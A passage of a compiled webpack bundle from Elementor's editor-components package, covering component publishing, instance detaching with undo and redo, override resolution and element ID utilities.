/* harmony import */ var _elementor_http_client__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/http-client */ "@elementor/http-client");
/* harmony import */ var _elementor_http_client__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_http_client__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _api__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../api */ "./packages/packages/core/editor-components/src/api.ts");
/* harmony import */ var _utils_get_component_documents__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../utils/get-component-documents */ "./packages/packages/core/editor-components/src/utils/get-component-documents.ts");






const INSUFFICIENT_PERMISSIONS_ERROR_CODE = 'insufficient_permissions';
const PUBLISH_UPGRADE_URL = 'https://go.elementor.com/go-pro-components-Instance-draft-failure/';
const PUBLISH_UPGRADE_NOTIFICATION_ID = 'component-publish-upgrade';
async function publishDraftComponentsInPageBeforeSave({
  status,
  elements
}) {
  if (status !== 'publish') {
    return;
  }
  const documents = await (0,_utils_get_component_documents__WEBPACK_IMPORTED_MODULE_5__.getComponentDocuments)({
    elements
  });
  const draftIds = [...documents.values()].filter(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.isDocumentDirty).map(document => document.id);
  if (draftIds.length === 0) {
    return;
  }
  try {
    await _api__WEBPACK_IMPORTED_MODULE_4__.apiClient.updateStatuses(draftIds, 'publish');
  } catch (error) {
    if (isInsufficientPermissionsError(error)) {
      notifyPublishUpgrade();
      return;
    }
    throw error;
  }
  draftIds.forEach(id => (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.invalidateDocumentData)(id));
}
function isInsufficientPermissionsError(error) {
  return error instanceof _elementor_http_client__WEBPACK_IMPORTED_MODULE_2__.AxiosError && error.response?.data?.code === INSUFFICIENT_PERMISSIONS_ERROR_CODE;
}
function notifyPublishUpgrade() {
  (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__.notify)({
    type: 'promotion',
    id: PUBLISH_UPGRADE_NOTIFICATION_ID,
    message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('You have unpublished component on this page. You need a pro version to publish it.', 'elementor'),
    additionalActionProps: [{
      size: 'small',
      variant: 'contained',
      color: 'promotion',
      href: PUBLISH_UPGRADE_URL,
      target: '_blank',
      children: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Upgrade Now', 'elementor')
    }]
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/component-document-data.ts":
/*!***************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/component-document-data.ts ***!
  \***************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getComponentDocumentData: function() { return /* binding */ getComponentDocumentData; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__);

const getComponentDocumentData = async id => {
  const documentManager = (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.getV1DocumentsManager)();
  try {
    return await documentManager.request(id);
  } catch {
    return null;
  }
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/detach-component-instance/detach-component-instance.ts":
/*!*******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/detach-component-instance/detach-component-instance.ts ***!
  \*******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   detachComponentInstance: function() { return /* binding */ detachComponentInstance; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-canvas */ "@elementor/editor-canvas");
/* harmony import */ var _elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../prop-types/component-instance-overrides-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ../../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");
/* harmony import */ var _component_document_data__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ../component-document-data */ "./packages/packages/core/editor-components/src/utils/component-document-data.ts");
/* harmony import */ var _tracking__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ../tracking */ "./packages/packages/core/editor-components/src/utils/tracking.ts");
/* harmony import */ var _resolve_detached_instance__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./resolve-detached-instance */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-detached-instance.ts");











const DETACH_EVENT = 'elementor/components/detach-instance';
const DETACH_UNDO_EVENT = 'elementor/components/undo-detach-instance';
const DETACH_REDO_EVENT = 'elementor/components/redo-detach-instance';
async function detachComponentInstance({
  instanceId,
  componentId,
  trackingInfo
}) {
  const instanceContainer = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.getContainer)(instanceId);
  if (!instanceContainer) {
    throw new Error(`Instance container with ID "${instanceId}" not found.`);
  }
  const componentData = await (0,_component_document_data__WEBPACK_IMPORTED_MODULE_8__.getComponentDocumentData)(componentId);
  if (!componentData) {
    throw new Error(`Component with ID "${componentId}" not found.`);
  }
  const rootElement = componentData.elements?.[0];
  if (!rootElement) {
    throw new Error(`Component with ID "${componentId}" has no root element.`);
  }
  const undoableDetach = (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__.undoable)({
    do: () => {
      const overrides = extractInstanceOverrides(instanceContainer);
      const detachedInstanceElementData = (0,_resolve_detached_instance__WEBPACK_IMPORTED_MODULE_10__.resolveDetachedInstance)(rootElement, overrides);
      const originalInstanceModel = instanceContainer.model.toJSON();
      const actionId = new Date().getTime();

      // We should fire the event *before* replacing the element, so it will happen before delete event is fired.
      // As we do overridable props cleanup for both events.
      window.dispatchEvent(new CustomEvent(DETACH_EVENT, {
        detail: {
          detachedInstanceId: instanceId,
          detachActionId: actionId
        }
      }));
      const detachedElement = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.replaceElement)({
        currentElementId: instanceId,
        newElement: detachedInstanceElementData,
        withHistory: false
      });
      (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.selectElement)(detachedElement.id);
      const componentUid = (0,_store_store__WEBPACK_IMPORTED_MODULE_7__.selectComponent)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_3__.__getState)(), componentId)?.uid;
      (0,_tracking__WEBPACK_IMPORTED_MODULE_9__.trackComponentEvent)({
        action: 'detached',
        executedBy: 'user',
        component_uid: componentUid,
        instance_id: instanceId,
        location: trackingInfo.location,
        secondary_location: trackingInfo.secondaryLocation,
        trigger: trackingInfo.trigger
      });
      return {
        detachedElement,
        detachedInstanceElementData,
        originalInstanceModel,
        actionId
      };
    },
    undo: (_, {
      detachedElement,
      originalInstanceModel,
      actionId
    }) => {
      const restoredInstance = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.replaceElement)({
        currentElementId: detachedElement.id,
        newElement: originalInstanceModel,
        withHistory: false
      });
      window.dispatchEvent(new CustomEvent(DETACH_UNDO_EVENT, {
        detail: {
          restoredInstanceId: restoredInstance.id,
          detachActionId: actionId
        }
      }));

      // Wait for the instance to be restored
      (0,_elementor_editor_canvas__WEBPACK_IMPORTED_MODULE_0__.doAfterRender)([restoredInstance.id], () => {
        (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.selectElement)(restoredInstance.id);
      });
      return restoredInstance;
    },
    redo: (_, doReturn, restoredInstance) => {
      const {
        detachedInstanceElementData,
        actionId
      } = doReturn;
      const detachedElement = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.replaceElement)({
        currentElementId: restoredInstance.id,
        newElement: detachedInstanceElementData,
        withHistory: false
      });
      window.dispatchEvent(new CustomEvent(DETACH_REDO_EVENT, {
        detail: {
          detachedInstanceId: detachedElement.id,
          detachActionId: actionId
        }
      }));
      (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.selectElement)(detachedElement.id);
      return {
        ...doReturn,
        detachedElement
      };
    }
  }, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)('Detach from Component', 'elementor'),
    subtitle: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)('Instance detached', 'elementor')
  });
  return undoableDetach();
}
function extractInstanceOverrides(instanceContainer) {
  const settings = instanceContainer.model.toJSON().settings;
  const componentInstance = _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_6__.componentInstancePropTypeUtil.extract(settings?.component_instance);
  const overrides = _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_5__.componentInstanceOverridesPropTypeUtil.extract(componentInstance?.overrides);
  return overrides ?? [];
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/detach-component-instance/index.ts":
/*!***********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/detach-component-instance/index.ts ***!
  \***********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   detachComponentInstance: function() { return /* reexport safe */ _detach_component_instance__WEBPACK_IMPORTED_MODULE_0__.detachComponentInstance; }
/* harmony export */ });
/* harmony import */ var _detach_component_instance__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./detach-component-instance */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/detach-component-instance.ts");


/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/detach-component-instance/regenerate-local-style-ids.ts":
/*!********************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/detach-component-instance/regenerate-local-style-ids.ts ***!
  \********************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   regenerateLocalStyleIds: function() { return /* binding */ regenerateLocalStyleIds; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-props */ "@elementor/editor-props");
/* harmony import */ var _elementor_editor_props__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_props__WEBPACK_IMPORTED_MODULE_1__);


// Ts version for atomic-widgets/assets/js/editor/utils/regenerate-local-style-ids.js
function regenerateLocalStyleIds(element) {
  const originalStyles = element.styles;
  if (!originalStyles || Object.keys(originalStyles).length === 0) {
    return {
      styles: undefined,
      settings: undefined
    };
  }
  const newStyles = {};
  const styleIdMapping = {};
  for (const [originalStyleId, style] of Object.entries(originalStyles)) {
    const newStyleId = generateLocalStyleId(element.id);
    newStyles[newStyleId] = {
      ...style,
      id: newStyleId
    };
    styleIdMapping[originalStyleId] = newStyleId;
  }
  const settings = element.settings;
  if (!settings || Object.keys(settings).length === 0) {
    return {
      styles: newStyles,
      settings: undefined
    };
  }
  const updatedSettings = {
    ...settings
  };
  for (const [propKey, propValue] of Object.entries(updatedSettings)) {
    if (isClassesProp(propValue) && propValue.value.length > 0) {
      const updatedClasses = propValue.value.map(classId => styleIdMapping[classId] ?? classId);
      updatedSettings[propKey] = _elementor_editor_props__WEBPACK_IMPORTED_MODULE_1__.classesPropTypeUtil.create(updatedClasses);
    }
  }
  return {
    styles: newStyles,
    settings: updatedSettings
  };
}
function isClassesProp(prop) {
  return _elementor_editor_props__WEBPACK_IMPORTED_MODULE_1__.classesPropTypeUtil.isValid(prop);
}
function generateLocalStyleId(elementId) {
  return `e-${elementId}-${(0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.generateElementId)()}`;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-detached-instance.ts":
/*!*******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-detached-instance.ts ***!
  \*******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getOverridableOverride: function() { return /* binding */ getOverridableOverride; },
/* harmony export */   resolveDetachedInstance: function() { return /* binding */ resolveDetachedInstance; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _regenerate_local_style_ids__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./regenerate-local-style-ids */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/regenerate-local-style-ids.ts");
/* harmony import */ var _resolve_overridable_settings__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./resolve-overridable-settings */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-overridable-settings.ts");






/**
 * Creates detached element from component instance
 * by applying overrides, reverting overridables, and regenerating IDs.
 * This is used when detaching a component instance from its origin component.
 *
 * The function goes through all nested elements recursively and:
 * - Regenerates element IDs and local style IDs
 * - Resolves overridable settings - applies all instance overrides to element settings,
 * or replaces overridable with origin_value when no matching override exists.
 *
 * @param element   - The component's root element
 * @param overrides - Array of overrides from the component instance
 * @return A new element data with all overrides applied and new IDs
 */
function resolveDetachedInstance(element, overrides) {
  const overrideMap = createOverrideMap(overrides);
  return resolveElementRecursive(structuredClone(element), overrideMap);
}
function resolveElementRecursive(element, overrideMap) {
  element.id = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.generateElementId)();
  if (element.styles) {
    const {
      styles,
      settings
    } = (0,_regenerate_local_style_ids__WEBPACK_IMPORTED_MODULE_3__.regenerateLocalStyleIds)(element);
    element.styles = styles;
    if (settings) {
      element.settings = {
        ...element.settings,
        ...settings
      };
    }
  }
  if (element.settings) {
    element.settings = (0,_resolve_overridable_settings__WEBPACK_IMPORTED_MODULE_4__.resolveOverridableSettings)(element, overrideMap);
  }
  if (element.elements?.length) {
    element.elements = element.elements.map(child => resolveElementRecursive(child, overrideMap));
  }
  return element;
}
function createOverrideMap(overrides) {
  const map = new Map();
  overrides.forEach(item => {
    let override = null;
    if (_prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentInstanceOverridePropTypeUtil.isValid(item)) {
      override = item;
    } else if (_prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentOverridablePropTypeUtil.isValid(item)) {
      override = getOverridableOverride(item);
    }
    if (override) {
      const overrideKey = override.value.override_key;
      map.set(overrideKey, override);
    }
  });
  return map;
}
function getOverridableOverride(propValue) {
  if (!_prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentOverridablePropTypeUtil.isValid(propValue)) {
    return null;
  }
  const originValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentOverridablePropTypeUtil.extract(propValue)?.origin_value;
  if (!_prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentInstanceOverridePropTypeUtil.isValid(originValue)) {
    return null;
  }
  return originValue;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-overridable-settings.ts":
/*!**********************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/detach-component-instance/resolve-overridable-settings.ts ***!
  \**********************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   resolveOverridableSettings: function() { return /* binding */ resolveOverridableSettings; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _is_component_instance__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../is-component-instance */ "./packages/packages/core/editor-components/src/utils/is-component-instance.ts");




function resolveOverridableSettings(element, overrideMap) {
  if ((0,_is_component_instance__WEBPACK_IMPORTED_MODULE_3__.isComponentInstance)({
    widgetType: element.widgetType,
    elType: element.elType
  })) {
    return resolveOverridableSettingsForComponentInstance(element, overrideMap);
  }
  return resolveOverridableSettingsForElement(element, overrideMap);
}
function resolveOverridableSettingsForElement(element, overrideMap) {
  const updatedSettings = element.settings ? {
    ...element.settings
  } : {};
  for (const [settingKey, settingValue] of Object.entries(element.settings ?? {})) {
    updatedSettings[settingKey] = resolvePropValue(settingValue, overrideMap);
  }
  return updatedSettings;
}
function resolveOverridableSettingsForComponentInstance(element, overrideMap) {
  const componentInstance = element.settings?.component_instance;
  if (!_prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentInstancePropTypeUtil.isValid(componentInstance)) {
    return element.settings ?? {};
  }
  const instanceOverrides = componentInstance.value.overrides?.value;
  if (!instanceOverrides?.length) {
    return element.settings ?? {};
  }
  const updatedOverrides = instanceOverrides.map(item => resolvePropValue(item, overrideMap, {
    isOverridableOverride: true
  }));
  return {
    ...element.settings,
    component_instance: {
      ...componentInstance,
      value: {
        ...componentInstance.value,
        overrides: {
          ...componentInstance.value.overrides,
          value: updatedOverrides
        }
      }
    }
  };
}
function resolvePropValue(propValue, overrideMap, options) {
  const {
    isOverridableOverride = false
  } = options ?? {};

  // if it's not an overridable, return the prop value as is
  if (!_prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentOverridablePropTypeUtil.isValid(propValue)) {
    return propValue;
  }
  const overridableKey = propValue.value.override_key;
  const matchingOverride = overrideMap.get(overridableKey);
  const originValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentOverridablePropTypeUtil.extract(propValue)?.origin_value;

  // if no matching override, return the overridable's origin value
  if (!matchingOverride) {
    return originValue;
  }
  if (isOverridableOverride) {
    return resolveOverridableOverride(matchingOverride, originValue);
  }

  // for regular props, when there's a non null matching override, return the matching override value,
  // otherwise return the origin value
  const matchingOverrideValue = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(matchingOverride)?.override_value;
  return matchingOverrideValue ?? originValue;
}
function resolveOverridableOverride(matchingOverride, originValue) {
  if (!originValue || !_prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.isValid(originValue)) {
    return null;
  }

  // for overridable overrides, we should create a new override with the matching override value
  // but keep the origin value's override key and schema source, so they'll match the inner component.
  return _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.create({
    override_value: matchingOverride.value.override_value,
    override_key: originValue.value.override_key,
    schema_source: originValue.value.schema_source
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/filter-valid-overridable-props.ts":
/*!**********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/filter-valid-overridable-props.ts ***!
  \**********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   filterValidOverridableProps: function() { return /* binding */ filterValidOverridableProps; },
/* harmony export */   isExposedPropValid: function() { return /* binding */ isExposedPropValid; }
/* harmony export */ });
/* harmony import */ var _resolve_overrides_chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./resolve-overrides-chain */ "./packages/packages/core/editor-components/src/utils/resolve-overrides-chain.ts");

function filterValidOverridableProps(overridableProps,
// instanceElementId is used to find the component inner elements,
// and should be passed when editing component instance (not in component edit mode)
instanceElementId) {
  const validProps = {};
  for (const [key, prop] of Object.entries(overridableProps.props)) {
    if (isExposedPropValid(prop, instanceElementId)) {
      validProps[key] = prop;
    }
  }
  const validPropKeys = new Set(Object.keys(validProps));
  const filteredGroups = {
    items: Object.fromEntries(Object.entries(overridableProps.groups.items).map(([groupId, group]) => [groupId, {
      ...group,
      props: group.props.filter(propKey => validPropKeys.has(propKey))
    }])),
    order: overridableProps.groups.order
  };
  return {
    props: validProps,
    groups: filteredGroups
  };
}
function isExposedPropValid(prop, instanceElementId) {
  const {
    isChainBroken
  } = (0,_resolve_overrides_chain__WEBPACK_IMPORTED_MODULE_0__.resolveOverridesChain)({
    outerOverridableProp: prop,
    outerInstanceId: instanceElementId
  });
  return !isChainBroken;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/format-component-elements-id.ts":
/*!********************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/format-component-elements-id.ts ***!
  \********************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   formatComponentElementsId: function() { return /* binding */ formatComponentElementsId; }
/* harmony export */ });
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/utils */ "@elementor/utils");
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_utils__WEBPACK_IMPORTED_MODULE_0__);

const ELEMENT_ID_LENGTH = 7;
// The purpose of this function is to solve the issue of component inner elements having the same ID
// when there are multiple instances of the same component on a page.
// We change the ID of the inner elements to a hash of the nesting path of the element and the element's originalID.
function formatComponentElementsId(elements, path) {
  return elements.map(element => {
    const nestingPath = [...path, element.id];
    const id = (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.hashString)(nestingPath.join('_'), ELEMENT_ID_LENGTH);
    return {
      ...element,
      id,
      originId: element.id,
      elements: element.elements ? formatComponentElementsId(element.elements, nestingPath) : undefined
    };
  });
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/get-component-documents.ts":
/*!***************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/get-component-documents.ts ***!
  \***************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getComponentDocuments: function() { return /* binding */ getComponentDocuments; }
/* harmony export */ });
/* harmony import */ var _component_document_data__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./component-document-data */ "./packages/packages/core/editor-components/src/utils/component-document-data.ts");
/* harmony import */ var _is_component_instance__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./is-component-instance */ "./packages/packages/core/editor-components/src/utils/is-component-instance.ts");


async function getComponentDocuments({
  elements,
  cache = new Map(),
  isRecursive = true
}) {
  const componentIds = await getComponentIds(elements, cache, isRecursive);
  return getDocumentsMap(componentIds, cache);
}
async function getComponentIds(elements, cache, isRecursive) {
  const results = await Promise.all(elements.filter(Boolean).map(async ({
    widgetType,
    elType,
    elements: childElements,
    settings
  }) => {
    const ids = [];
    if ((0,_is_component_instance__WEBPACK_IMPORTED_MODULE_1__.isComponentInstance)({
      widgetType,
      elType
    })) {
      const componentId = settings?.component_instance?.value?.component_id.value;
      if (!componentId) {
        return ids;
      }
      ids.push(componentId);
      if (!cache.has(componentId)) {
        cache.set(componentId, (0,_component_document_data__WEBPACK_IMPORTED_MODULE_0__.getComponentDocumentData)(componentId));
      }
      if (isRecursive) {
        const doc = await cache.get(componentId);
        childElements = doc?.elements;
      }
    }
    if (childElements?.length) {
      const childIds = await getComponentIds(childElements, cache, isRecursive);
      ids.push(...childIds);
    }
    return ids;
  }));
  return [...new Set(results.flat())];
}
async function getDocumentsMap(ids, cache) {
  const documents = await Promise.all(ids.map(async id => {
    const document = await cache.get(id);
    if (!document) {
      return null;
    }
    return [id, document];
  }));
  return new Map(documents.filter(document => document !== null));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/get-container-by-origin-id.ts":
/*!******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/get-container-by-origin-id.ts ***!
  \******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getContainerByOriginId: function() { return /* binding */ getContainerByOriginId; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);

/**
 * Resolves a container by its origin ID, with optional scoping to a component instance.
 *
 * When component instances are rendered, their inner elements get prefixed IDs
 * (e.g., `{instanceId}_{originalId}`), but store data uses original IDs.
 * This function bridges between the two by searching for elements with a matching `originId`.
 *
 * @param originElementId   - The original (unprefixed) element ID from store data
 * @param instanceElementId - Optional instance widget ID to scope the search
 *
 * @return The container with prefixed runtime ID, or null if not found
 *
 * @example
 * // Component editing mode (no prefixing)
 * getContainerByOriginId('element-1') // returns container with id='element-1'
 *
 * @example
